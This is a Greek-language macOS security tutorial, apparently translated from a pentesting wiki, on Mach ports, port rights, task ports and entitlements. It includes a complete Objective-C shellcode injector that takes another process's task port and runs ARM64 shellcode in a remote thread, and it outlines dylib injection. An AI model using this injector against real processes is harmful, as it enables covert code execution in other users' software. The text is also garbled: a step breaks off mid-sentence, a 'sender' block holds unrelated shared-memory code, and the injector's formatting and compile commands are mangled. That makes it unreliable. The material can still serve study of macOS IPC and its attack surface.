* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
|
||||||
|
* Μια **εργασία με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της**.
|
||||||
|
* **Δικαίωμα Αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
|
||||||
|
* Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι μια εργασία που κατέχει ένα Δικαίωμα Αποστολής μπορεί να κλωνοποιήσει το δικαίωμα και **να το χορηγήσει σε μια τρίτη εργασία**.
|
||||||
|
* **Δικαίωμα Αποστολής-μία-φοράς**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
|
||||||
|
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνδεση ενός μηνύματος από ένα σύνολο θυρών αποσυνδέει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||||
|
* **Νεκρό όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας χώρος κράτησης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
|
||||||
|
|
||||||
|
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστή εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
|
||||||
|
|
||||||
|
### Θύρες Αρχείων
|
||||||
|
|
||||||
|
Οι θύρες αρχείων επιτρέπουν την ενθυλάκωση περιγραφέων αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατόν να δημιουργηθεί ένα `fileport` από έναν δεδομένο FD χρησιμοποιώντας το `fileport_makeport` και να δημιουργηθεί ένα FD από ένα fileport χρησιμοποιώντας το `fileport_makefd`.
|
||||||
|
|
||||||
|
### Δημιουργία Επικοινωνίας
|
||||||
|
|
||||||
|
#### Βήματα:
|
||||||
|
|
||||||
|
Όπως αναφέρεται, για να δημιουργηθεί το κανάλι επικοινωνίας, εμπλέκεται ο **διακομιστής εκκίνησης** (**launchd** στο mac).
|
||||||
|
|
||||||
|
1. Η Εργασία **Α** ξεκινά μια **νέα θύρα**, αποκτώντας ένα **δικαίωμα ΛΗΨΗΣ** στη διαδικασία.
|
||||||
|
2. Η Εργασία **Α**, κατέχοντας το δικαίωμα ΛΗΨΗΣ, **δημιουργεί ένα δικαίωμα ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
|
||||||
|
3. Η Εργασία **Α** καθιερώνει μια **σύνδεση** με τον **διακομιστή εκκίνησης**, παρέχον
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_bits_t msgh_bits;
|
||||||
|
mach_msg_size_t msgh_size;
|
||||||
|
mach_port_t msgh_remote_port;
|
||||||
|
mach_port_t msgh_local_port;
|
||||||
|
mach_port_name_t msgh_voucher_port;
|
||||||
|
mach_msg_id_t msgh_id;
|
||||||
|
} mach_msg_header_t;
|
||||||
|
```
|
||||||
|
|
||||||
|
Οι διεργασίες που διαθέτουν ένα _**δικαίωμα λήψης (receive right)**_ μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι **αποστολείς** παραχωρούνται ένα _**δικαίωμα αποστολής (send)**_ ή ένα _**δικαίωμα αποστολής μία φορά (send-once right)**_. Το δικαίωμα αποστολής μία φορά είναι αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο γίνεται άκυρο.
|
||||||
|
|
||||||
|
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος mach που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Τα bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής μία φορά** πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Ωστόσο, **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για τη δημιουργία της διπλής κατεύθυνσης επικοινωνίας.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Τα άλλα πεδία της κεφαλίδας του μηνύματος είναι:
|
||||||
|
|
||||||
|
* `msgh_size`: το μέγεθος ολόκληρου του πακέτου.
|
||||||
|
* `msgh_remote_port`: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.
|
||||||
|
* `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||||
|
* `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Σημειώστε ότι τα **μηνύματα mach αποστέλλονται μέσω μιας \_θύρας mach**\_, η οποία είναι ένα κανάλι επικοινωνίας **μοναδικού παραλήπτη**, **πολλαπλών αποστολέων** που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια θύρα mach, αλλά ανά πάσα στιγμή μόνο **μια διεργασία μπορεί να διαβάσει** από αυτήν.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Απαρίθμηση θυρών
|
||||||
|
|
||||||
|
```bash
|
||||||
|
lsmp -p <pid>
|
||||||
|
```
|
||||||
|
|
||||||
|
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο στο iOS κατεβάζοντάς το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||||
|
|
||||||
|
### Παράδειγμα κώδικα
|
||||||
|
|
||||||
|
Σημειώστε πως ο **αποστολέας** εκχωρεί ένα θύρα, δημιουργεί ένα **δικαίωμα αποστολής** για το όνομα `org.darlinghq.example` και το στέλνει στο **διακομιστή εκκίνησης** ενώ ο αποστολέας ζήτησε το **δικαίωμα αποστολής** αυτού του ονόματος και το χρησιμοποίησε για να **στείλει ένα μήνυμα**.
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||||
|
// gcc receiver.c -o receiver
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
// Create a new port.
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("mach_port_allocate() created port right name %d\n", port);
|
||||||
|
|
||||||
|
|
||||||
|
// Give us a send right to this port, in addition to the receive right.
|
||||||
|
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("mach_port_insert_right() inserted a send right\n");
|
||||||
|
|
||||||
|
|
||||||
|
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||||
|
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("bootstrap_register()'ed our port\n");
|
||||||
|
|
||||||
|
|
||||||
|
// Wait for a message.
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
char some_text[10];
|
||||||
|
int some_number;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} message;
|
||||||
|
|
||||||
|
kr = mach_msg(
|
||||||
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||||
|
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||||
|
0, // Size of the message being sent, if sending.
|
||||||
|
sizeof(message), // Size of the buffer for receiving.
|
||||||
|
port, // The port to receive a message on.
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||||
|
);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("Got a message\n");
|
||||||
|
|
||||||
|
message.some_text[9] = 0;
|
||||||
|
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Αποστολέας.c
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/ipc.h>
|
||||||
|
#include <sys/shm.h>
|
||||||
|
|
||||||
|
#define SHMKEY 75
|
||||||
|
#define SHMSZ 27
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int shmid;
|
||||||
|
key_t key;
|
||||||
|
char *shm, *s;
|
||||||
|
|
||||||
|
key = SHMKEY;
|
||||||
|
|
||||||
|
if ((shmid = shmget(key, SHMSZ, IPC_CREAT | 0666)) < 0) {
|
||||||
|
perror("shmget");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) {
|
||||||
|
perror("shmat");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
s = shm;
|
||||||
|
|
||||||
|
for (char c = 'a'; c <= 'z'; c++) {
|
||||||
|
*s++ = c;
|
||||||
|
}
|
||||||
|
*s = '\0';
|
||||||
|
|
||||||
|
while (*shm != '*') {
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||||
|
// gcc sender.c -o sender
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
// Lookup the receiver port using the bootstrap server.
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||||
|
|
||||||
|
|
||||||
|
// Construct our message.
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
char some_text[10];
|
||||||
|
int some_number;
|
||||||
|
} message;
|
||||||
|
|
||||||
|
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||||
|
message.header.msgh_remote_port = port;
|
||||||
|
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||||
|
message.some_number = 35;
|
||||||
|
|
||||||
|
// Send the message.
|
||||||
|
kr = mach_msg(
|
||||||
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||||
|
MACH_SEND_MSG, // Options. We're sending a message.
|
||||||
|
sizeof(message), // Size of the message being sent.
|
||||||
|
0, // Size of the buffer for receiving.
|
||||||
|
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||||
|
);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("Sent a message\n");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Προνομιούχες Θύρες
|
||||||
|
|
||||||
|
* **Θύρα οικοδεσπότη**: Αν ένας διεργασία έχει δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
|
||||||
|
* **Προνομιούχα θύρα οικοδεσπότη**: Μια διεργασία με δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως φόρτωση επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζοχρήστης** για να λάβει αυτήν την άδεια.
|
||||||
|
* Επιπλέον, για να καλέσει το API **`kext_request`** απαιτούνται άλλα δικαιώματα **`com.apple.private.kext*`** τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||||
|
* **Θύρα ονόματος εργασίας:** Μια μη προνομιούχα έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχό της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||||
|
* **Θύρα εργασίας** (επίσης γνωστή ως θύρα πυρήνα)**:** Με δικαίωμα Αποστολής πάνω από αυτήν τη θύρα είναι δυνατόν να ελέγχεται η εργασία (ανάγνωση/εγγραφή μνήμης, δημιουργία νημάτων...).
|
||||||
|
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** γι' αυτήν τη θύρα για την εργασία του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά τη διάρκεια **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό suid). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά τη διάρκεια ενός `fork()`.
|
||||||
|
* Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
|
||||||
|
* Αν η εφαρμογή έχει το δικαίωμα **`com.apple.security.get-task-allow`**, διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν το επιτρέπει στις παραγωγικές εκδόσεις.
|
||||||
|
* Οι εφαρμογές με το δικαίωμα **`com.apple.system-task-ports`** μπορούν να λάβουν τη **θύρα εργασίας για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό δίνεται μόνο σε εφαρμογές της Apple.
|
||||||
|
* **Ο ριζοχρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
|
||||||
|
|
||||||
|
### Εισαγωγή Shellcode σε νήμα μέσω της θύρας Εργασίας
|
||||||
|
|
||||||
|
Μπορείτε να αντλήσετε ένα shellcode από:
|
||||||
|
|
||||||
|
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||||
|
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// clang -framework Foundation mysleep.m -o mysleep
|
||||||
|
// codesign --entitlements entitlements.plist -s - mysleep
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
double performMathOperations() {
|
||||||
|
double result = 0;
|
||||||
|
for (int i = 0; i < 10000; i++) {
|
||||||
|
result += sqrt(i) * tan(i) - cos(i);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
@autoreleasepool {
|
||||||
|
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||||
|
processIdentifier]);
|
||||||
|
while (true) {
|
||||||
|
[NSThread sleepForTimeInterval:5];
|
||||||
|
|
||||||
|
performMathOperations(); // Silent action
|
||||||
|
|
||||||
|
[NSThread sleepForTimeInterval:5];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Το entitlements.plist περιέχει τις δικαιώματα που έχει ένα εκτελέσιμο αρχείο στο macOS. Τα entitlements μπορούν να περιορίσουν τις δυνατότητες ενός προγράμματος, όπως η πρόσβαση σε συγκεκριμένα αρχεία ή η επικοινωνία με άλλες εφαρμογές μέσω της διαδικασίας IPC. Είναι σημαντικό να ελέγχετε τα entitlements που έχουν ανατεθεί σε κάθε εκτελέσιμο αρχείο για να διασφαλίσετε την ασφάλεια του συστήματός σας. %\}
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>com.apple.security.get-task-allow</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Μεταγλωττίστε** τον προηγούμενο προγραμματισμό και προσθέστε τα **δικαιώματα** ώστε να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αλλιώς θα χρειαστεί να χρησιμοποιήσετε **sudo**).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>sc_injector.m</summary>
|
||||||
|
|
||||||
|
\`\`\`objectivec // gcc -framework Foundation -framework Appkit sc\_injector.m -o sc\_injector
|
||||||
|
|
||||||
|
\#import \<Foundation/Foundation.h> #import \<AppKit/AppKit.h> #include \<mach/mach\_vm.h> #include \<sys/sysctl.h>
|
||||||
|
|
||||||
|
\#ifdef **arm64**
|
||||||
|
|
||||||
|
kern\_return\_t mach\_vm\_allocate ( vm\_map\_t target, mach\_vm\_address\_t \*address, mach\_vm\_size\_t size, int flags );
|
||||||
|
|
||||||
|
kern\_return\_t mach\_vm\_write ( vm\_map\_t target\_task, mach\_vm\_address\_t address, vm\_offset\_t data, mach\_msg\_type\_number\_t dataCnt );
|
||||||
|
|
||||||
|
\#else #include \<mach/mach\_vm.h> #endif
|
||||||
|
|
||||||
|
\#define STACK\_SIZE 65536 #define CODE\_SIZE 128
|
||||||
|
|
||||||
|
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode\[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||||
|
|
||||||
|
int inject(pid\_t pid){
|
||||||
|
|
||||||
|
task\_t remoteTask;
|
||||||
|
|
||||||
|
// Get access to the task port of the process we want to inject into kern\_return\_t kr = task\_for\_pid(mach\_task\_self(), pid, \&remoteTask); if (kr != KERN\_SUCCESS) { fprintf (stderr, "Unable to call task\_for\_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
|
||||||
|
|
||||||
|
// Allocate memory for the stack mach\_vm\_address\_t remoteStack64 = (vm\_address\_t) NULL; mach\_vm\_address\_t remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate(remoteTask, \&remoteStack64, STACK\_SIZE, VM\_FLAGS\_ANYWHERE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach\_error\_string(kr)); return (-2); } else {
|
||||||
|
|
||||||
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
|
||||||
|
|
||||||
|
// Allocate memory for the code remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate( remoteTask, \&remoteCode64, CODE\_SIZE, VM\_FLAGS\_ANYWHERE );
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach\_error\_string(kr)); return (-2); }
|
||||||
|
|
||||||
|
// Write the shellcode to the allocated memory kr = mach\_vm\_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm\_address\_t) injectedCode, // Source 0xa9); // Length of the source
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach\_error\_string(kr)); return (-3); }
|
||||||
|
|
||||||
|
// Set the permissions on the allocated code memory kr = vm\_protect(remoteTask, remoteCode64, 0x70, FALSE, VM\_PROT\_READ | VM\_PROT\_EXECUTE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||||
|
|
||||||
|
// Set the permissions on the allocated stack memory kr = vm\_protect(remoteTask, remoteStack64, STACK\_SIZE, TRUE, VM\_PROT\_READ | VM\_PROT\_WRITE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||||
|
|
||||||
|
// Create thread to run shellcode struct arm\_unified\_thread\_state remoteThreadState64; thread\_act\_t remoteThread;
|
||||||
|
|
||||||
|
memset(\&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||||
|
|
||||||
|
remoteStack64 += (STACK\_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
|
||||||
|
|
||||||
|
const char\* p = (const char\*) remoteCode64;
|
||||||
|
|
||||||
|
remoteThreadState64.ash.flavor = ARM\_THREAD\_STATE64; remoteThreadState64.ash.count = ARM\_THREAD\_STATE64\_COUNT; remoteThreadState64.ts\_64.\_\_pc = (u\_int64\_t) remoteCode64; remoteThreadState64.ts\_64.\_\_sp = (u\_int64\_t) remoteStack64;
|
||||||
|
|
||||||
|
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||||
|
|
||||||
|
kr = thread\_create\_running(remoteTask, ARM\_THREAD\_STATE64, // ARM\_THREAD\_STATE64, (thread\_state\_t) \&remoteThreadState64.ts\_64, ARM\_THREAD\_STATE64\_COUNT , \&remoteThread );
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach\_error\_string (kr)); return (-3); }
|
||||||
|
|
||||||
|
return (0); }
|
||||||
|
|
||||||
|
pid\_t pidForProcessName(NSString \*processName) { NSArray \*arguments = @\[@"pgrep", processName]; NSTask \*task = \[\[NSTask alloc] init]; \[task setLaunchPath:@"/usr/bin/env"]; \[task setArguments:arguments];
|
||||||
|
|
||||||
|
NSPipe \*pipe = \[NSPipe pipe]; \[task setStandardOutput:pipe];
|
||||||
|
|
||||||
|
NSFileHandle \*file = \[pipe fileHandleForReading];
|
||||||
|
|
||||||
|
\[task launch];
|
||||||
|
|
||||||
|
NSData \*data = \[file readDataToEndOfFile]; NSString \*string = \[\[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||||
|
|
||||||
|
return (pid\_t)\[string integerValue]; }
|
||||||
|
|
||||||
|
BOOL isStringNumeric(NSString _str) { NSCharacterSet_ nonNumbers = \[\[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = \[str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
|
||||||
|
|
||||||
|
int main(int argc, const char \* argv\[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv\[0]); return 1; }
|
||||||
|
|
||||||
|
NSString \*arg = \[NSString stringWithUTF8String:argv\[1]]; pid\_t pid;
|
||||||
|
|
||||||
|
if (isStringNumeric(arg)) { pid = \[arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", \[arg UTF8String], pid); } }
|
||||||
|
|
||||||
|
inject(pid); }
|
||||||
|
|
||||||
|
return 0; }
|
||||||
|
|
||||||
|
````
|
||||||
|
</details>
|
||||||
|
```bash
|
||||||
|
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||||
|
./inject <pi or string>
|
||||||
|
````
|
||||||
|
|
||||||
|
#### Διείσδυση Dylib σε νήμα μέσω της θύρας Task
|
||||||
|
|
||||||
|
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη διείσδυση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
|
||||||
|
|
||||||
|
Ήταν δυνατό να **διεισδύσουμε ένα απλό shellcode** για να εκτελέσουμε μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα posix** apis, μόνο με το Mach. **Πιο πολύπλοκες διεισδύσεις** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
|
||||||
|
|
||||||
|
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread μπορεί να **καλέσει το dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράψετε νέο shellcode για να εκτελέσετε διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
|
||||||
|
|
||||||
|
Μπορείτε να βρείτε **παραδειγματικά dylibs** σε (για παράδειγμα αυτό που δημιουργεί ένα αρχείο καταγραφής και μετά μπορείτε να το ακούσετε):
|
||||||
|
|
||||||
|
\`\`\`bash gcc -framework Foundation -framework Appkit dylib\_injector.m -o dylib\_injector ./inject \`\`\` ### Απαγωγή Νήματος μέσω Θύρας Task
|
||||||
|
|
||||||
|
Σε αυτήν την τεχνική γίνεται απαγωγή ενός νήματος της διεργασίας:
|
||||||
|
|
||||||
|
### XPC
|
||||||
|
|
||||||
|
#### Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
